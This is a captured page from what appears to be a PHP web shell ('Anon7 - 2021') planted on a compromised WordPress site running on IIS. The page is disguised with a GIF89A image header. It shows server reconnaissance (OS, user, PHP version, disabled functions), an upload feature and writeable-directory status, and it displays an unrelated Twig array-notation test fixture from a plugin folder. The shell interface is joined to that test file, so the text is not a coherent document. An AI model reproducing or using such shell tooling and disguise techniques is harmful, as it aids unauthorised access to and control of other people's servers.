GIF89A; .
KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Microsoft-IIS/10.0
System : Windows NT HMW9050 6.2 build 9200 (Unknow Windows version Standard Edition) i586
User : fatorc ( 0)
PHP Version : 5.3.28
Disable Function : escapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_open, shell_exec, system, dl, popen, php_check_syntax, php_strip_whitespace, symlink, link, openlog, apache_child_terminate
Directory :  e:/home/fatorc/Web/wp-content/plugins/types/library/twig/twig/test/Twig/Tests/Fixtures/expressions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : e:/home/fatorc/Web/wp-content/plugins/types/library/twig/twig/test/Twig/Tests/Fixtures/expressions/array.test
--TEST--
Twig supports array notation
--TEMPLATE--
{# empty array #}
{{ []|join(',') }}

{{ [1, 2]|join(',') }}
{{ ['foo', "bar"]|join(',') }}
{{ {0: 1, 'foo': 'bar'}|join(',') }}
{{ {0: 1, 'foo': 'bar'}|keys|join(',') }}

{{ {0: 1, foo: 'bar'}|join(',') }}
{{ {0: 1, foo: 'bar'}|keys|join(',') }}

{# nested arrays #}
{% set a = [1, 2, [1, 2], {'foo': {'foo': 'bar'}}] %}
{{ a[2]|join(',') }}
{{ a[3]["foo"]|join(',') }}

{# works even if [] is used inside the array #}
{{ [foo[bar]]|join(',') }}

{# elements can be any expression #}
{{ ['foo'|upper, bar|upper, bar == foo]|join(',') }}

{# arrays can have a trailing , like in PHP #}
{{
  [
    1,
    2,
  ]|join(',')
}}

{# keys can be any expression #}
{% set a = 1 %}
{% set b = "foo" %}
{% set ary = { (a): 'a', (b): 'b', 'c': 'c', (a ~ b): 'd' } %}
{{ ary|keys|join(',') }}
{{ ary|join(',') }}
--DATA--
return array('bar' => 'bar', 'foo' => array('bar' => 'bar'))
--EXPECT--
1,2
foo,bar
1,bar
0,foo

1,bar
0,foo

1,2
bar

bar

FOO,BAR,

1,2

1,foo,c,1foo
a,b,c,d

Anon7 - 2021